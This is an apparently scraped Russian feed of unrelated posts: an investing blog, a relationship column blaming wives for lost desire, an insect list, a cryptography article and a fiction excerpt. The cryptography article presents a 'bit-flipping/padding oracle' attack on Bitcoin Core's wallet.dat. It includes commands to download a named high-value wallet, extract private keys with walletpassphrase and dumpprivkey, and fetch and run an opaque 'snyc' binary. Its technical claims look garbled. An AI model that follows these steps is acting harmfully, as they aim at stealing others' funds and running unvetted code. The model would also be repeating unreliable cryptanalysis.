👋 Пара слов обо мне

Меня зовут Лекс (Александр), и я веду канал Пассивный доход.

Моя стратегия — доходная: я инвестирую в то, что приносит живые деньги уже сейчас, а не мифические иксы «когда-нибудь». Так сказать регулярный пассивный доход. Если коротко — дивидендные акции, корпоративные и государственные облигации, фонды недвижимости с выплатам.

Раз в месяц пополняю портфель на 20 000 рублей — бюджет пока позволяет только так, но регулярность — наше все 💪 Моя главная цель — получать денежный поток любыми способами. Все мои пополнения, покупки и полученный пассивный доход можно увидеть в моем публичном портфеле.

Мой первый портфель и почему я его продал

Я в своем первом посте писал, что я «инвестор во второй раз». Первый мой портфель я продал и вывел деньги под покупку недвижимости. Мы с женой посчитали, что семейная ипотека — важнее, чем портфель, который можно будет снова собрать, и сделать это лучше. Сыну тогда было 5 лет, мы попадали под льготную программу. Такой аргумент не перебьёт никакой «дивидендный рост».

Честно говоря, какой только дичи у меня не водилось в первом портфеле. Дефолты облигаций, Сегежа, Газпром, ВДО, паи фондов, заблокированные американские акции — мрак полный. Но потом пришло время семейной ипотеки.

Приняли решение и я занялся ребанёлансировкой, максимально перевел все в ликвидность, и мы продолжали копить деньги на депозитах и в Ликвидности. Как только случился мэтч по выбранной квартире и имеющемуся капиталу, мы вышли на сделку. С портфелем я попрощался, но знал: вернусь к инвестициям. И вернулся! Но уже с совершенно другой стратегии — доходной.

Статус квала

Я его сделал «оборотами» в Ликвидности на счете в ВТБ. При желании можно найти десятки статей о том, как это сделать. У ВТБ нет комиссий на свои фонды, так что это стоило примерно ничего.

Я тогда читал разных блогеров в Дзене и видел, как они друг за другом этот финт проделывали, как крутить оборот — кто-то на фьючерсах, кто-то на Ликвидности. У других брокеров можно на их фондах сделать, чтобы не платить комиссии.

Кроме как по обороту, статус квала получить можно за профильное образование или размер капитала. Очевидно, у меня 6 млн не было (а сейчас нужно уже 12). Очевидно, у меня ни миллионов, ни диплома по финансам. Так что оборот — наше все.

Кроме оборота нужно совершать сделки ежемесячно в течение четырех кварталов подряд. Фишка в том, что статус сохраняется, даже если потом у тебя на счёте пусто. И вот тут он мне реально пригодился.

Почему статус квала нужен при доходной стратегии инвестирования?

Когда я только его получил, то сам не до конца понимал, зачем он нужен, пригодится или нет, ведь сейчас у квалов преимуществ немного. Но сейчас — всё стало ясно. Квал открывает доступ к фондам недвижимости, а это мне очень интересно. Парус, Рентал ПРО, Рентный доход ПРО — это то, что по памяти, возможно, что-то еще есть. и это лучшие ЗПИФы для получения регулярного пассивного дохода.

Всем, у кого ДОХОДНАЯ стратегия инвестирования, рано или поздно придет желание инвестировать в недвигу. У неквалов выбор слабый. И да — он реально разочарует. А вот статус квала открывает новые горизонты.

Моя стратегия

Как я уже сказал, моя стратегия — доходная. У меня дивидендные акции, облигации и фонды недвижимости. Пока портфель скромный, но будет расти. И вот у недвиги есть такая классная тема, как индексация ренты и рост стоимости, а еще регулярные выплаты. У того же Паруса и Рентал ПРО они ежемесячные. Must have в доходном портфеле, однозначно.

Мой портфель

Сейчас у меня такие паи: Рентал ПРО, ПАРУС-Красноярск, ПАРУС-Сберлог, ПАРУС-ЛОГ и ПАРУС-НОРД по 1-2 шт. И это только начало. Я буду продолжать покупать их, возможно, добавлю другие. Также облигации и дивидендные акции. Главное — диверсификация и дисциплина.

Я открыто публикую все свои сделки, вы можете их видеть в моем публичном портфеле! Чтобы ничего не пропустить, подписывайтесь на мой телеграм-канал, если вам интересен путь инвестора и то, как обычный человек идет к регулярному пассивному доходу.

Мои ссылки: публичный портфель | телеграм-канал | Смартлаб | Дзен

Письмо от подписчицы: "Мы женаты 5 лет. Раньше он буквально с ног сбивал, а теперь интим раз в месяц по расписанию. Что я делаю не так?"

А я ей отвечу: всё. Ты делаешь всё не так.

Знаете, что убивает мужское желание быстрее пули?

• Не лишний вес

• не возраст

• не усталость от работы.

А женщина, которая превратила интим в рутину.

Да-да, именно вы, дорогие мои, собственными руками хороните страсть в своих отношениях. И потом удивляетесь: почему он смотрит на других, почему у него "болит голова", почему он засыпает, отвернувшись к стене.

Ошибка №1: Вы стали предсказуемой

По субботам после душа, в одной и той же позе, в одно и то же время.

Поздравляю - вы превратили интим в чистку зубов. Теперь это гигиеническая процедура, а не страсть.

Мужчине нужна интрига, непредсказуемость, азарт. А вы что даёте? "Дорогой, у нас же суббота".

Серьёзно? И после этого вы хотите, чтобы у него горели глаза?

Когда мужчина знает наперёд весь сценарий — ему становится скучно. Как в кино, которое пересмотрел 100 раз.

Ошибка №2: Интим начинается в постели

Нет, милые мои. Интим начинается в голове. За 6 часов до постели.

А что делаете вы? Целый день ходите в затрапезном халате, ругаетесь с детьми, жалуетесь на работу, а потом в 23:00 вдруг превращаетесь в соблазнительницу?

Не работает так.

Для мужчины важно визуальное возбуждение. Ему нужно видеть в вас женщину в течение дня, а не только когда вы этого хотите.

Красивое бельё под домашней одеждой, лёгкий макияж, приятный запах — это не для особых случаев. Это для каждого дня.

Ошибка №3: Вы превратились в критика

"Ты неправильно целуешься"

"Не туда руки кладёшь"

"В прошлый раз было лучше"

"А можно побыстрее?"

И после этого вы удивляетесь, что он больше не проявляет инициативу?

Мужчина в постели — это большой ребёнок, который боится сделать что-то не так. Ваша критика убивает его уверенность быстрее кастрации.

Хвалите. Даже когда не очень. Лучше сказать "как хорошо", чем "не так".

Ошибка №4: Вы думаете, что секс — это только секс

Для женщины интим — это близость, эмоции, связь.

Для мужчины — это подтверждение того, что он нужен и желанен.

Когда вы относитесь к близости как к супружескому долгу — мужчина это чувствует. И его желание моментально пропадает.

Никому не хочется заниматься любовью с тем, кто это терпит.

А теперь главное: что с этим делать?

Станьте непредсказуемой

Инициатива — не только мужская прерогатива. Удивите его. Не в субботу, а в среду. Не после душа, а во время готовки ужина.

Работайте над собой каждый день

Вы - не жена. Вы - женщина, которая случайно замужем. Разницу чувствуете?

Ухаживайте за собой не для особых случаев, а просто потому что вы женщина.

Перестаньте учить

Мужчины учатся не от слов, а от реакции. Показывайте, что вам нравится, а не говорите, что не нравится.

Помните: интим - это не про тело

Это про то, как вы чувствуете себя рядом друг с другом.

Если весь день вы ругались, критиковали, игнорировали - какая страсть? Сначала наладьте отношения, а потом требуйте близости.

Неудобная правда

Если мужчина вас не хочет - дело не в нём. Дело в том, что вы перестали быть желанной.

Не потому что постарели или поправились. А потому что перестали быть женщиной, которую хочется завоёвывать каждый день.

Мужчина должен чувствовать, что он вас соблазняет, а не получает по праву.

И последнее...

Страсть не умирает сама по себе. Её убивают невниманием, рутиной и равнодушием.

Хотите, чтобы он снова смотрел на вас голодными глазами? Дайте ему повод.

А в ваших отношениях есть страсть? Или тоже всё по расписанию?

Поделитесь в комментариях - обсудим, как это исправить!

Когда мы думаем о насекомых, нам чаще всего представляются маленькие букашки, муравьи или бабочки. Однако мир шестиногих таит в себе настоящих колоссов, чьи размеры поражают воображение. Эти существа — наследие древних эпох, когда уровень кислорода на Земле был выше и гигантизм среди членистоногих был более распространён.

Назовем несколько самых крупных насекомых из живущих в наше время.

Гигантский водяной клоп (Belostomatidae)

Это массивное насекомое, больше похожее на жука, может достигать в длину 10-12 см. Его тело плоское и обтекаемое, идеально приспособленное для водного образа жизни. Передние лапы превратились в мощные клешни, напоминающие клешни скорпиона.

Дровосек-титан (Titanus giganteus)

Это не только крупнейший жук в мире, но и одно из самых больших насекомых по массе и длине тела, которая у отдельных экземпляров достигает 17-18 см, а по неподтверждённым данным — и 22 см. Это массивное существо с невероятно мощными мандибулами (челюстями), способными перекусить карандаш.

Палочник Чаня (Phryganistria chinensis)

Абсолютный рекордсмен по длине среди насекомых. Вид был обнаружен в Китае в 2016 году, и его длина с вытянутыми конечностями достигает невероятных 64 см! Само тело имеет длину около 30-40 см. Насекомое идеально маскируется под сухую ветку.

Жук-голиаф (Goliathus)

Жук-голиаф — один из самых тяжелых насекомых на планете. Отдельные особи могут весить до 100-110 граммов при длине тела до 11 см (у самцов). Эти жуки невероятно сильны и имеют красивый окрас: чёрный с белыми полосами.

Гигантский длинноногий кузнечик (Tettigoniidae)

Хотя его часто называют «кузнечиком», это представитель семейства настоящих кузнечиков, а точнее — его гигантская разновидность. Длина тела может достигать 15 см, а с вытянутыми конечностями — и того больше. Имеет очень длинные усы-антенны.

Если вас заинтересовала информация на эту тему, то могу предложить прочитать более подробную статью в виде рейтинга ТОП-10 : Самые крупные насекомые современности: гиганты, живущие среди нас

В программе Bitcoin Core для защиты пароля кошелька используется симметричный криптографический алгоритм AES-256-CBC. Этот алгоритм применяется для шифрования файла кошелька (wallet.dat), где хранятся закрытые ключи пользователя. Степень защиты обеспечивается 256-битным ключом, который создается из пароля пользователя. Также для генерации ключей Bitcoin Core использует криптографию на основе эллиптических кривых, а именно кривую secp256k1, которая лежит в основе создания публичных и приватных ключей транзакций.

AES-256-CBC и не хранит пароль напрямую, а использует его для генерации ключа шифрования. Однако в исследовании отмечается, что в реализации Bitcoin Core отсутствует смена ключа шифрования закрытых ключей, что может снижать защиту при повторном использовании пароля.

AES-256-CBC (Advanced Encryption Standard с длиной ключа 256 бит в режиме сцепления блоков — CBC, Cipher Block Chaining) — один из наиболее распространённых алгоритмов симметричного шифрования для защиты информации.

Принято считать, что AES-256-CBC при определенных комбинациях уязвима к различным атакам. Разберём основной вид атаки такие как Bit-flipping attack , которые применимы к AES-256-CBC.

При Bit-flipping attack AES-256-CBC не обеспечивает контроль целостности, что делает возможным модификацию шифротекста для контролируемого изменения расшифрованных данных. Это применимо, например, при реализации авторизации, где взломщик может изменить права доступа или другие параметры, просто изменив определённые биты в шифротексте

Как Bit-flipping Attack влияет на безопасность кошелька Bitcoin Core

Bit-flipping Attack в основном влияет на режим шифрования CBC (Cipher Block Chaining) и работает за счёт уязвимости режима к контролируемому изменению битов в зашифрованном сообщении. В CBC каждый блок шифротекста зависит от предыдущего блока и плейнтекста через операцию XOR, поэтому изменение одного бита в зашифрованном блоке приводит к предсказуемому изменению соответствующих битов в расшифрованном тексте следующего блока.

Процесс работы Bit-flipping Attack:

• При расшифровке блока шифротекста Ci происходит операция XOR с предыдущим блоком шифротекста Ci-1, чтобы получить исходный текст Pi.

• Если атакующий изменит один или несколько битов в блоке Ci-1, то при расшифровке изменится соответствующий бит в блоке Pi, управляемый изменениями в Ci-1.

• При этом блок Ci после изменений становится некорректным и при расшифровке будет повреждён, но изменение в предыдущем блоке позволяет повреждать (манипулировать) расшифрованным текстом управляемым образом в следующем блоке.

Это манипулятивная расшифровка влияет на безопасность криптографического алгоритма AES-256-CBC которую использует кошелек Bitcoin Core:

• Такая манипуляция позволяет злоумышленнику в некоторых случаях менять расшифрованные данные без знания ключа, например, изменять параметры доступа, права или другие данные, если не применяется отдельный механизм аутентификации и проверки целостности.

• Битфлип-атака на CBC демонстрирует его «модифицируемость» (malleability), то есть отсутствие встроенной защиты целостности данных.

• В реальных системах атака эффективна, если нет дополнительной защиты — такой как HMAC или использование AEAD режимов (например, AES-GCM), которые обеспечивают аутентификацию и предотвращают изменение данных без обнаружения.

Опасность неиспользования проверки целостности данных вместе с режимом AES-256-CBC связана с тем, что CBC сам по себе не обеспечивает защиту от модификации зашифрованного сообщения. Это делает возможными битфлип-атаки, при которых злоумышленник может контролируемо изменить зашифрованные данные без знания ключа.

Важно отметить что атакующий перебирает байты, контролируя изменения в шифротексте и анализируя ответы системы, постепенно восстанавливая оригинальный пароль в бинарном виде, особым образом изменяя блоки.

В итоге, восстановив пароль, злоумышленник может разблокировать кошелёк через команду Bitcoin Core walletpassphrase и получить приватные ключи командой dumpprivkey.

AES256CBCEncrypt и AES256CBCDecrypt для работы в режиме CBC (Cipher Block Chaining)

Функция файла aes.cpp в кошельке Bitcoin Core — обеспечение криптографического шифрования и дешифрования данных с использованием алгоритма AES-256, также функция файла aes.cpp реализует классы AES256Encrypt и AES256Decrypt для блочного шифрования/дешифрования данных размером 16 байт по алгоритму AES-256. Исходный код выполняет основные задачи инициализация контекста шифрования/дешифрования с заданным приватным ключом. Наши наблюдение в процессе криптоанализа выявили нарушение в работе режима CBC (Cipher Block Chaining): где применение XOR к каждому блоку с предыдущим (или IV для первого блока), определяет слабую криптостойкость к общему стандарту AES к которому злоумышленник может применить Bit-flipping Attack. Данная криптографическая уязвимость связана с неправильным использованием вектора инициализации (IV) в режиме CBC (Cipher Block Chaining).

В коде функции CBCEncrypt (в строке №57):

memcpy(mixed, iv, AES_BLOCKSIZE);

IV копируется в локальный массив mixed и далее используется для XOR с первым блоком данных. Однако IV передается в конструктор AES256CBCEncrypt и копируется один раз в поле класса iv (в строке №121):

В CBC режиме шифрования IV должен быть либо случайным, либо уникальным и не повторяться для разных сообщений с одним ключом, чтобы обеспечить безопасность. Если IV фиксирован и не меняется, это открывает уязвимость — повторяющаяся структура позволит злоумышленнику провести атаки по выявлению закономерностей в зашифрованных данных, где хранятся секретные данные как пароли и приватные ключи кошелька Bitcoin Core.

Bit-flipping attack на файл wallet.dat реализован через XOR с числом паддинга, что отличается от стандарта PKCS#7, где паддинг просто добавляется как отдельные байты. Такой XOR-подход не является безопасным и может привести к неверному шифрованию и потенциальным уязвимостям при расшифровке. Также в функции CBCDecrypt проверка и удаление паддинга реализована нестандартно и может быть уязвимой к таким типам атаки как: Bit-flipping attack & Padding oracle attack

Практическая часть

Перейдем к практической части из теории нам известна уязвимость с помощью которого можно реализовать Bit-flipping attack на файл wallet.dat , так как уязвимость возникает из-за использования фиксированного IV и нестандартной реализации паддинга в функциях CBCEncrypt и CBCDecrypt. Эти моменты критичны для безопасности режима CBC (Cipher Block Chaining) и могут быть истолкованы как «в строке с memcpy(mixed, iv, AES_BLOCKSIZE);» в функции CBCEncrypt и в блоке обработки паддинга.

Рассмотрим пример с использованием Bitcoin-кошелька по адресу: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix. В данном кошельке были утеряны монеты на сумму 105.68557389 BTC, что на август 2025 года эквивалентно примерно 12,134,500 USD.

Для демонстрации атаки в ознакомительных целях используем инструменты и среды, такие как Jupyter Notebook или Google Colab. Сначала загружаем зашифрованный файл wallet.dat, содержащий информацию кошелька. Далее пошагово изменяем отдельные биты в блоках шифротекста и отправляем модифицированные версии системе для анализа её реакции.

Этот метод атаки, известный как Bit-flipping attack в контексте wallet.dat , представляет собой не просто случайное изменение данных, а сложный поэтапный процесс, при котором отбираются корректные изменения с учётом реакции системы на правильность паддинга (выравнивания) при расшифровке данных с использованием AES-256-CBC.

Используя такую стратегию, инструменты строят бинарное значение пароля, что в итоге позволяет получить пароль для расшифровки wallet.dat и доступ к Bitcoin Core без знания первоначального ключа шифрования. Эта атака основана на использовании уязвимости, называемой Padding Oracle Attack, которая эксплуатирует информацию об ошибках выравнивания при дешифровке, предоставляемую системой.

Основные инструменты и команды, применяемые для таких атак:

Google Colab (Colaboratory) — это облачная платформа, предоставляющая интерактивные Jupyter-ноутбуки, где можно писать и запускать код для различных языков программирование. Он особенно полезен для анализа данных, машинного обучения и работы с Snyc AI, так как предоставляет бесплатный доступ к мощным вычислительным ресурсам, таким как GPU и TPU. Важным преимуществом является возможность выполнять системные команды, как в обычном терминале Linux, через ячейки с префиксом ! для интеграции с внешними утилитами и скриптами.

Google Colab

https://colab.research.google.com/drive/1tCCSUtjl6seE9lqkFLcLodE96mj5uuHR

Bitcoin Core и установка bitcoind & bitcoin-cli

Обновление списков пакетов и установка системных зависимостей

!apt-get update
!apt-get install -y software-properties-common

Примечание:

• Первая команда обновляет локальный индекс доступных пакетов и их версий в системе Ubuntu, чтобы обеспечить актуальность данных при установке программ.

• Вторая команда устанавливает пакет software-properties-common, который предоставляет инструменты управления дополнительными репозиториями и зависимостями.

• C научным пониманием это подготовительный этап типичен при работе в любой Linux-среде, включая виртуальные. Обновление списков пакетов обеспечивает, что последующая установка программ будет использовать последние стабильные версии и зависимости, что важно для безопасности и совместимости ПО.

Добавление репозитория Bitcoin Core и установка bitcoind (вместе с bitcoin-cli)

Альтернативный способ: загрузка и распаковка бинарных файлов Bitcoin Core из архива

!wget https://bitcoin.org/bin/bitcoin-core-0.18.0/bitcoin-0.18.0-x...
!tar -xzf bitcoin-0.18.0-x86_64-linux-gnu.tar.gz

Примечание:

• add-apt-repository добавляет официальный PPA (Personal Package Archive) Bitcoin Core в систему — источник актуальных пакетов Bitcoin.

• После обновления индекса пакетов система устанавливает пакет bitcoind, который включает в себя демона биткоина (Bitcoin server) и клиентскую утилиту bitcoin-cli.

• Загружает архив с предсобранными бинарными файлами Bitcoin Core указанной версии.

• Распаковывает архив, извлекая байтовые файлы, включая bitcoind и bitcoin-cli.

С научной понимании Bitcoind — это полнофункциональный узел Bitcoin с серверной частью, который валидирует транзакции и блоки, поддерживает сеть и хранит блокчейн локально. bitcoin-cli — клиентский инструмент для взаимодействия с демоном через JSON-RPC интерфейс, управляя кошельками, транзакциями и запросами к блокчейну. Установка из PPA гарантирует корректную интеграцию и обновления. Такой способ позволяет получить необходимое программное обеспечение без зависимости от системных репозиториев, что бывает важно, если требуется определённая версия или если PPA недоступен в текущей среде. Это классический метод распространения программного обеспечения с гарантированным контролем версии и среды.

Команда cd переключается в директорию с бинарными файлами.

Выполнения команды — смена текущей рабочей директории на /content/bitcoin-0.18.0/bin, что подтверждается выводом пути.

cd bitcoin-0.18.0/bin/

Описание и действие:

• Команда cd (от английского «change directory» — сменить директорию) используется в операционных системах семейства Unix/Linux и в средах терминала, таких как Google Colab, для перехода из текущей рабочей директории в указанную директорию. В данном случае команда меняет текущую папку на директорию bin, которая находится внутри каталога bitcoin-0.18.0. Это позволяет перейти в папку, где, вероятно, находятся исполняемые файлы или скрипты, связанные с программным обеспечением Bitcoin версии 0.18.0.

• В контексте операционных систем, терминал или командная строка — это интерфейс, через который пользователь взаимодействует с системой, вводя текстовые команды. Текущая рабочая директория — это та папка в файловой системе, в рамках которой по умолчанию выполняются все команды, если не указано иное.

• Команда cd позволяет изменять эту рабочую директорию, что необходимо для организации удобного доступа к нужным файлам и папкам.

• Путь bitcoin-0.18.0/bin/ может быть как относительным (от текущего каталога), так и абсолютным (начинающимся с корня /). В Google Colab корневая директория по умолчанию — /content/, и при работе с проектами часто структура каталогов отражает вложенность программного обеспечения или данных.

• Перемещение в директорию bin обычно связано с необходимостью получения доступа к бинарным файлам (исполняемым программам), которые расположены в этом каталоге. Это позволяет выполнять команды или скрипты, входящие в состав программного продукта, например, запускающих узлы биткоина, тестирующих сеть или работающих с кошельками.

• Таким образом, выполнение команды cd bitcoin-0.18.0/bin/ задаёт контекст выполнения для дальнейшей работы с компонентами Bitcoin Core 0.18.0 внутри Google Colab.

Проверка установки bitcoin-cli

!./bitcoin-cli --version

Описание:

• Запускает команду bitcoin-cli из локальной директории для проверки работоспособности и версии утилиты. При правильном выполнении выведет строку с информацией о версии клиента.

• Запуск бинарных файлов из локальной директории — стандартная практика при ручной установке ПО. В Colab и других облачных средах это удобно для использования специфичных версий без системной установки.

• Контроль версии важен для совместимости с сетевым протоколом и ожидаемой функциональностью, а также для отладки при возникновении ошибок.

Результат:

Bitcoin Core RPC client version v0.18.0

Результат выводит версию установленной утилиты bitcoin-cli, проверяя успешность установки и доступность команды для вызова.

Загрузка файлов wallet.dat & aes.cpp

Запустим команду для загрузки файла wallet.dat

!wget https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/raw/refs/heads/main/105.68 BTC/wallet.dat

Описание и действие:

• Команда wget служит для скачивания файлов из интернета по протоколу HTTPS.

• Здесь мы загружаем файл wallet.dat – это бинарный файл, хранящий зашифрованные приватные ключи, адреса и другую критически важную информацию Bitcoin Core кошелька.

• Файл wallet.dat зашифрован с использованием стандарта AES-256-CBC, где приватные ключи защищены с помощью мастер-ключа и пароля.

• Такой файл используется для управления и хранения средств в Bitcoin. В ходе научного исследования и атак, например padding oracle, этот файл анализируется и модифицируется для восстановления утерянных паролей или ключей.

В научное понимание файл wallet.dat играет роль защищённого контейнера для криптографических ключей, и его целостность и конфиденциальность обеспечиваются алгоритмами шифрования, основанными на AES. Загрузка файла позволяет работать с реальными данными кошелька, что необходимо для исследований уязвимостей и тестирования методов криптоанализа, например, подобных атакам на padding oracle.

Запустим команду для загрузки файла алгоритма aes.cpp

!wget https://github.com/keyhunters/bitcoin/raw/refs/heads/master/...

Описание и действие:

• Команда загружает исходный файл aes.cpp, содержащий исходный код реализации AES алгоритма шифрования, используемый в Bitcoin Core.

• Этот файл важен для понимания того, как именно происходит шифрование и дешифровка данных в wallet.dat.

• Исходный код помогает исследователям понять логику применения AES-256-CBC, применение выравнивания (padding), фиксирование ошибок и особенности реализации криптоалгоритмов.

• Такой код можно использовать в Jupyter Notebook или Google Colab для написания собственных скриптов дешифровки или моделирования атак.

В научное понимание криптоанализ исходного кода AES алгоритма позволяет глубоко понять принципы работы симметричного шифрования в Bitcoin Core, особенности режима CBC (Cipher Block Chaining), важность корректного паддинга и потенциальные уязвимости, которые могут использоваться при атаке padding oracle. Это способствует более научно обоснованной разработке методов восстановления паролей и ключей.

Общие научные сведения по контексту:

• AES-256-CBC: Способ симметричного блочного шифрования, где применяются операции XOR с предыдущим зашифрованным блоком (CBC — Cipher Block Chaining) для повышения безопасности. Паддинг (выравнивание) данных на последнем блоке обеспечивает корректную длину входа.

• wallet.dat: Хранит зашифрованные приватные ключи и метаданные. Пароль пользователя используется для генерации ключа шифрования мастер-ключа с помощью функции, как EVP_BytesToKey OpenSSL, что увеличивает стойкость шифра.

• Padding Oracle Attack: Хакерская атака, эксплуатирующая наличие подробных сообщений об ошибках при неверном паддинге, что постепенно позволяет взломать ключ шифрования.

• Анализ исходного кода aes.cpp: Ключ для понимания реализации шифра и корректного построения атак, изучения уязвимостей и разработки средств их предотвращения.

Запуск биткоин-демона bitcoind с указанием кошелька

!./bitcoind -daemon -wallet=/content/bitcoin-0.18.0/bin/wallet.dat

Запускаем биткоин-демон в фоновом режиме (-daemon) и указывает использовать конкретный файл кошелька wallet.dat, расположенный в указанном пути. Bitcoind — основной компонент для взаимодействия с сетью Bitcoin. Демон обрабатывает все сетевые операции, хранит полный локальный блокчейн и управляет кошельком. Запуск с указанием файла wallet.dat позволяет работать с конкретным зашифрованным кошельком (ключами и адресами), что важно для анализа состояния и управления средствами.

• Запуск демона Bitcoin Core (bitcoind) в фоновом режиме. Демон — это серверная часть программного обеспечения Bitcoin Core, которая синхронизируется с сетью Биткоин, загружает блокчейн, обрабатывает транзакции и поддерживает работу узла в сети. Ключ -daemon означает, что процесс запустится в фоновом режиме и не будет блокировать консоль, позволяя вам продолжать работу в терминале.

• Результат в терминале обычно минимальный — команда запускается, и управление сразу возвращается пользователю, без дополнительных сообщений. Логи и процессы работы демона будут записываться в системные логи или в файлы логов Bitcoin Core в каталоге данных (обычно ~/.bitcoin). Если запуск удался, процесс bitcoind будет активен в фоне и поддерживать сетевое взаимодействие с другими узлами блокчейна.

• Научное понимание: запуск демона bitcoind является ключевым этапом в работе полноценного узла (full node) сети Биткоин. Узел обеспечивает децентрализованность и безопасность сети, проверяя все транзакции и блоки с использованием криптографических алгоритмов и протоколов консенсуса. Фоновый режим позволяет узлу непрерывно поддерживать актуальное состояние блокчейна, выполнять валидацию данных и откликаться на запросы через JSON-RPC интерфейс для взаимодействия с другими программами и пользователем.

• ./bitcoind — запускает исполняемый файл демона bitcoind из текущего каталога (использование ./ указывает, что файл находится в текущей директории).

• -daemon — параметр запуска, переводящий процесс в фоновый режим (демон) без блокировки терминала.

Команда ./bitcoind -daemon позволяет развернуть работающий Bitcoin узел, поддерживающий сеть, с автоматической синхронизацией данных и откликом на RPC-запросы, что является фундаментом для работы с криптовалютой на локальной машине Google Colab.

Данный набор команд в Google Colab предоставляет полный цикл установки и запуска инструментов Bitcoin Core (bitcoin-cli и bitcoind), необходимых для управления криптовалютой и проведения исследований (в том числе атак или восстановления доступа), в условиях облачной вычислительной среды. Основываясь на этих шагах, исследователь получает программный интерфейс для взаимодействия с сетью и локальным wallet.dat через RPC команды, что критично для научных и практических задач в криптографии и блокчейне.

Инструмент для криптоанализа Snyc AI

Загрузка и установка инструмента Snyc AI

Подробное описание всех команд и действий терминала

Команды:

!wget https://snyc.ru/repositories/neuralnet_tools.zip

Команда wget — это мощная консольная утилита для загрузки файлов из сети через протоколы HTTP, HTTPS и FTP. Здесь она используется для загрузки архива neuralnet_tools.zip с сервера по указанному URL. Команда wget работает в неинтерактивном режиме, что позволяет скачивать файлы без участия пользователя, включая возможность возобновления прерванных загрузок. Это особенно важно при работе с большими файлами или нестабильным интернет-соединением. Его кроссплатформенность и простота делают wget незаменимым инструментом для автоматизации и управления загрузками в научных вычислениях и обработки данных.

Эта команда извлекает все файлы из neuralnet_tools.zip:

!unzip neuralnet_tools.zip

Команда unzip распаковывает содержимое ZIP-архива в текущую рабочую директорию. Формат ZIP широко используется для сжатия и архивирования данных без потерь, что помогает экономить дисковое пространство и облегчать передачу больших наборов файлов. Распаковка архива позволяет получить доступ к инструментам и скриптам, которые находятся внутри, для дальнейшего использования в задачах анализа или декодирования. Этот этап — стандартная процедура при подготовке программного обеспечения к использованию в средах разработки и исследовательских проектах.

Запустим команду ls для быстрого и удобного просмотра:

ls

Команда ls выводит список файлов и папок в текущей директории. Эта базовая Unix-команда служит для проверки содержимого каталога, помогая убедиться в успешной загрузке и распаковке архива. В контексте научных исследований или программирования она облегчает навигацию по файловой системе и подтверждение наличия нужных данных или инструментов.

Запуск инструмента Snyc AI:

!./snyc

Запуск инструмента Snyc AI в Google Colab позволяет использовать алгоритмы глубокого сканирования и восстановления данных, таких как секретные и приватные ключи для различных криптокошельков, с помощью методов искусственного интеллекта. Такие технологии основаны на машинном обучении и нейронных сетях, что обеспечивает высокую точность и безопасность при криптоанализе критически важных данных.

Если будете запускать эти команды в Google Colab, важно помнить, что:

• Префикс ! позволяет выполнять системные (shell) команды непосредственно из ячеек программирования. Это делает Colab мощной платформой для гибридного использования различных языков программирование и командной строки.

• При работе с внешними архивами и утилитами полезно проверять права доступа и содержимое файлов для безопасности и совместимости.

• Инструмент Snyc AI является специализированным программным обеспечением для анализа криптографических данных, использующим современные возможности ИИ и нейросетей для повышения эффективности и надежности.

• Опубликованы две части [№1] , [№2] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/3uCsL_zxKPI

Video tutorial: https://dzen.ru/video/watch/68baca013761775f268041dc

Источник: https://cryptodeeptool.ru/bit-flipping-attack-on-wallet-dat

Официант, юноша с утомленно-учтивым лицом, проводил меня к длинному столу, застеленному белейшей скатертью. Я села не с краю и не в центре, а где-то посередине - самое безопасное, невидимое место. Положила на колени сумочку, словно щит, и стала ждать.

Первой, конечно, появилась Катя. Она не вошла, она вплыла, окруженная сиянием собственного успеха. От нее буквально веяло счастьем - дорогим, ухоженным, уверенным в себе. Она была вся в белом, и это белое не было кричащим, оно было мягким, кремовым, материнским. В её волосах поблескивала изящная заколка. Я вдруг с болезненной ясностью вспомнила, как мы десять лет назад, сидя в общаге на подоконнике, мечтали о будущем. Она хотела троих детей, большую квартиру у парка и мужа-дипломата. Я хотела писать книги, путешествовать и «найти себя». Смешно.

- Лиза! - её голос прозвенел, как хрустальный колокольчик.

Она обняла меня, и я утонула в аромате её духов - нежных, с нотками жасмина и груши. - Ты уже здесь! Как я рада!

Она отстранилась, держа мои руки в своих, холодных и ухоженных, с идеальным маникюром цвета слоновой кости.

- Посмотри на тебя! Какое платье! Ты просто прелесть!

Её комплимент был искренним, и от этого становилось ещё горше. Она действительно радовалась за меня. А я? А я смотрела на неё и чувствовала, как из какого-то тёмного, глухого угла моей души медленно выползает холодный, склизкий червь. Зависть. Тихая, удушающая, ядовитая.

- Где же виновница торжества? - выдавила я, стараясь, чтобы голос не дрогнул.

- Папа гуляет с ней у фонтана, успокаивает, - сказала Катя, и её лицо осветилось изнутри таким тёплым, таким настоящим светом, что мне захотелось зажмуриться. - Ах, Лиза, ты не представляешь, это такое счастье! Каждый день - открытие.

Но в этом свете, приглядевшись, я заметила и тень - легкую синеву под глазами, приправленную тональным кремом, едва уловимую напряженность в уголках губ. Не идеальная картинка, а живая, уставшая женщина. Это открытие не сделало легче, оно лишь добавило стыда: она носила свое счастье, как тяжелую, но желанную ношу, а я лишь завидовала блеску упаковки.

Подошли другие гости, посыпались новые объятия, восторги. Я отступила на свой наблюдательный пост. Мой внутренний монолог стал злее: ««Папа гуляет». Не «Серёжа», а «папа». Как будто это его новая, самая главная должность. «Каждый день - открытие». Да, открываешь ...

Продолжение тут https://dzen.ru/a/aLskdgBwnAHLZkTa